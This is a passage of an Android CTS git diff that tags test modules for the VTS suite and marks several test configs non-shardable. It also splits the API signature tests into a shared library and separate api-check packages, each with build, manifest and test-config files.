diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index bb26fc3..673bdeb 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Legacy android.net APIs test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCasesLegacyApi22.apk" />
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index 2f9221d..262e600 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.permission/AndroidTest.xml b/tests/netlegacy22.permission/AndroidTest.xml
index 16875a6..db6f294 100644
--- a/tests/netlegacy22.permission/AndroidTest.xml
+++ b/tests/netlegacy22.permission/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Legacy android.net Permission test cases">
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCasesLegacyPermission22.apk" />
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 847d5ec..34422f8 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalse
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 95da495..efabeb2 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrue
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 009b3fc..9960bca 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecified
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index 0a87b05..4f402ca 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsOpenGlPerf2TestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
index c2bb7a8..174375d 100644
--- a/tests/openglperf2/jni/Android.mk
+++ b/tests/openglperf2/jni/Android.mk
@@ -21,6 +21,8 @@
 # Needed in order to use fences for synchronization
 LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
 
+LOCAL_CFLAGS += -Wno-unused-parameter
+
 # Get all cpp files but not hidden files
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 
diff --git a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
index cd14731..ab4f860 100644
--- a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
+++ b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
@@ -29,7 +29,7 @@
     private static final int NUM_FRAMES_PER_SCENE = 500;
     private static final int NUM_SCENES = 2;
     private static final int NUM_FRAMES = NUM_FRAMES_PER_SCENE * NUM_SCENES;
-    private static final int TIMEOUT = 1000000;
+    private static final int TIMEOUT = 2000000;
     private static final String REPORT_LOG_NAME = "CtsOpenGlPerf2TestCases";
 
     public GLReferenceBenchmark() {
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index 3a7e2a0..2b301af 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPdfTestCases
 
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
index 5a0f718..ab88726 100644
--- a/tests/pdf/AndroidTest.xml
+++ b/tests/pdf/AndroidTest.xml
@@ -14,11 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Pdf test cases">
+    <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPdfTestCases.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.graphics.pdf.cts" />
         <option name="runtime-hint" value="5m" />
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index fe790c7..f6d8760 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
 
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index 0928579..dcf9015 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -73,7 +73,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index b78fb95..fec47b6 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -13,6 +13,10 @@
 # limitations under the License.
 
 LOCAL_PATH:= $(call my-dir)
+
+# cts-signature-common java library
+# =================================
+
 include $(CLEAR_VARS)
 
 # don't include this package in any target
@@ -20,19 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_MODULE := cts-signature-common
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
-    compatibility-device-util \
-    android-support-test \
-    legacy-android-test
-
-include $(BUILD_CTS_PACKAGE)
+include $(BUILD_STATIC_JAVA_LIBRARY)
 
 # signature-hostside java library (for testing)
 # ============================================================
@@ -40,7 +36,7 @@
 include $(CLEAR_VARS)
 
 # These files are for device-side only, so filter-out for host library
-LOCAL_DEVICE_ONLY_SOURCES := %/SignatureTest.java %/IntentTest.java %/CurrentApi.java
+LOCAL_DEVICE_ONLY_SOURCES := %/CurrentApi.java %/ApiDocumentParser.java
 
 LOCAL_SRC_FILES := $(filter-out $(LOCAL_DEVICE_ONLY_SOURCES), $(call all-java-files-under, src))
 
diff --git a/tests/signature/AndroidManifest.xml b/tests/signature/AndroidManifest.xml
deleted file mode 100644
index 41a4233..0000000
--- a/tests/signature/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts">
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
-    <application>
-        <uses-library android:name="android.test.runner"/>
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.signature.cts"
-                     android:label="API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/AndroidTest.xml b/tests/signature/AndroidTest.xml
deleted file mode 100644
index 0ca8ce2..0000000
--- a/tests/signature/AndroidTest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Signature test cases">
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-   <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsSignatureTestCases" />
-        <option name="version" value="1.0" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
-        <option name='run-command'
-            value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
-        <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsSignatureTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.signature.cts" />
-        <option name="runtime-hint" value="7m11s" />
-    </test>
-</configuration>
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
new file mode 100644
index 0000000..013cc4d
--- /dev/null
+++ b/tests/signature/api-check/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+# cts-api-signature-test java library
+# ===================================
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := cts-api-signature-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-signature-common \
+    repackaged-legacy-test \
+    repackaged.android.test.runner \
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
new file mode 100644
index 0000000..b60f6a3
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    android-test-mock-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..5c88521
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_mock_current">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.mock"/>
+    </application>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_mock_current"
+                     android:label="Android Test Mock Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
new file mode 100644
index 0000000..16b29a8
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Mock Current API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_mock_current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
new file mode 100644
index 0000000..d840506
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    android-test-mock-current.api \
+    android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..61de501
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_runner_current">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_runner_current"
+                     android:label="Android Test Runner Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
new file mode 100644
index 0000000..ecf7055
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Runner Current API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_runner_current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
new file mode 100644
index 0000000..df69004
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    apache-http-legacy-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..eaf118b
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.apache_http_legacy_current">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application/>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.apache_http_legacy_current"
+                     android:label="Apache Http Legacy Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
new file mode 100644
index 0000000..a5e69a9
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
new file mode 100644
index 0000000..3b0afd2
--- /dev/null
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following variables before including:
+#
+#     LOCAL_PACKAGE_NAME
+#         the name of the package
+#
+#     LOCAL_SIGNATURE_API_FILES
+#         the list of api files needed
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+
+LOCAL_ADDITIONAL_DEPENDENCIES += \
+    $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
+
+include $(BUILD_CTS_PACKAGE)
+
+LOCAL_SIGNATURE_API_FILES :=
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
new file mode 100644
index 0000000..0e7997d
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+    current.api \
+    android-test-mock-current.api \
+    android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
new file mode 100644
index 0000000..7dc5730
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
